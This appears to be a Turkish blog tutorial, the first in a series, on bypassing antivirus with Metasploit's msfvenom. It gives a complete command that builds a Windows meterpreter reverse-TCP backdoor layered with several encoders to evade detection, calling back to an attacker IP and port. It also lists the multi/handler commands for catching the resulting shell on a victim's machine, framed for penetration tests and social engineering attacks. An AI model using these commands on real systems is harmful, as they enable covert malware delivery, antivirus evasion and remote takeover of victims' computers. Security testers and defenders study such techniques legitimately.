Anti-Virus Atlatma - Msfvenom

Merhaba,

Anti-virüs bypass işleminin anlatılmasını içerecek olan bu makale, yazı dizisi şeklinde olacaktır. Her makalede farklı bir anti-virüs bypass aracı anlatılacaktır.

İlk olarak, bu makalede, Metasploit'in kendi içerisinde bulunan encode modülleri kullanılacaktır.

Sızma testleri sırasında veya sosyal mühendislik saldırılarında, kurban kişisinin bilgisayarında Metasploit'in ajanı olan meterpreter ile shell alınmak istenebilir. Meterpreter, üstünde çok sayıda post-exploit modülü bulunduran, sızma testleri sırasında işleri oldukça kolaylaştıran bir Metasploit ajanıdır.

Başlangıç olarak Metasploit framework yardımıyla bir arka kapı oluşturacağız. Oluşturulan arka kapı windows makineler için üretilmiştir ve reverse bağlantı ile 5566 portu üzerinden bizimle bağlantı kuracaktır.

Saf bir şekilde üretilen (herhangi bir encode işlemine tabi tutulmamış) zararlı yazılımın online olarak virüs taramasından geçirilmiş sonucu aşağıdadır.
 Resimden anlaşıldığı üzere 56 anti-virüs yazılımından 36 tanesi zararlı yazılım olduğunu doğrulamıştır.

Msfvenom

Msfvenom, Metasploit framework'ün arka kapı, shellcode üretmek , encode işlemleri için kullanılan aracıdır. Öncesinde msfpayload ve msfencode ile ayrı ayrı yapılan bu işlemler artık msfvenom ile tek bir seferde gerçekleştirilebilir.

Msfvenom içerisinde bulunan encoder'lar msfvenom --list encoders komutuyla listelenebilir. Görüntülenen encoder'ların güç dereceleri rank alanının altında bulunan bölümde belirtilmiştir. Resimden anlaşılacağı üzere 'excellent' derecesinde iki tane encoder bulunmaktadır.  Bunlar ;
  • cmd/powershell_base64
  • x86/shikata_ga_nai
Bunları teker teker deneyip sonuçları test edeceğiz.


Encoder : cmd/powershell_base64

Msfvenom ile üretilen arka kapıyı oluşturma sırasında encode işlemi uygulamak için -e veya --encode parametresi kullanılabilir. Encode işlemini birden çok defa uygulamak için -i veya  --iterations parametresi kullanılabilir.
Biz ilk olarak oluşturacağımız arka kapıyı  cmd/powershell_base64 encoder'i ile 5 defa encode edecek şekilde oluşturalım.



Bu tarz işlemler çokça yapıldığı ve aynı formatta olduğu için anti-virüs yazılımları imza veritabanlarına bunları eklemişlerdir. Bundan kaçınmak için aynı zararlıyı birden çok defa farklı encoder'lar ile encode etmek gerekebilir. Bunu yapabilmek için msfvenom'dan elde edeceğimiz çıktıyı bir sonraki msfvenom komutuna pipe etmek gerekiyor. Bu şekilde birden çok encode tekniği ve iterasyonu ile anti-virüslere yakalanma ihtimali düşebilir.

Aşağıdaki resimde oluşturulan zararlı yazılım 3 farklı encode tekniği ile encode edilmiştir. İlk durumda cmd/powershell_base64, ikinci durumda cmd/echo ve üçüncü durumda x86/shikata_ga_nai ile encode edilmiştir. Encode işlemi sırasında 5 ve 10'ar defalık iterasyonlarla encode işlemi gerçekleştirilmiştir.
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.124 LPORT=5566 -f raw -e cmd/powershell_base64 -i 5 | msfvenom --platform windows -a x86 -e cmd/echo -i 10 -f raw | msfvenom -e x86/shikata_ga_nai -i 10 --platform windows -a x86 -f exe -o backDoor_Encode_Multi_Shikata.exe

Reverse Meterpreter Shell

Yapılan işlemlerden sonra arka kapıyı kullanıcıya bir şekilde açtırdığımızı varsayarak aşağıdaki işlemleri yapıp, açılacak olan meterpreter shell'ini beklemeye koyulabiliriz. Bunun için Metasploit'in içerisinde yer alan ve gelecek bağlantıları yakalamaya yarayan handler'i kullanmamız gerekmektedir. Sırasıyla aşağıdaki komutlar girilmiştir ve gelecek bağlantılar beklenmektedir.

  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 172.17.7.124
  • set lport 5566
  • set exitonsession false
  • exploit -j -z
yukarıdaki işlemler sırasında yapılanların açıklamalarına gelecek olursak, klasik olan multi/handler'i kullanıp, payload olarak arka kapıyı oluşturma sırasında kullandığımız payload'ı atayıp, bu payload'a ait parametreleri(LHOST, LPORT) girmek, exitonsession parametresi  ile ilk bağlantıdan sonra gelecek olan bağlantıları da beklemesini sağlamak ve bunları bir job haline getirip dinlemeyi başlatmak.

İşlemlerin gerçekleştirilmesi sonrasında alınmış bir ekran görüntüsü aşağıdadır.

Kurban, oluşturulan zararlı yazılımı açtıktan sonra meterpreter shell'imiz geliyor, fakat buna otomatik bir geçiş yapmıyor. Bunun nedeni dinlemeyi yaptığımız sırada exploit komutuna verdiğimiz -z parametresidir. Bu parametre gelecek bağlantı ile direk bağlantı kurmaz, oluşturulan session'lar içerisine ekler. Sessions komutu ile hali hazırda bağlantıları kurulmuş olan session'ları görebiliriz.

Gelen bağlatıların görüntülenmesi ve o session'a geçiş yapılması sonrasında bağlantının kurulduğu bilgisayar hakkındaki bilgilerin listelenmesi işlemleri aşağıdaki resimde gösterilmiştir.



Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

B*-Tree (BTree, BPlusTree) Veri Yapısı ile Veri İndeksleme

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017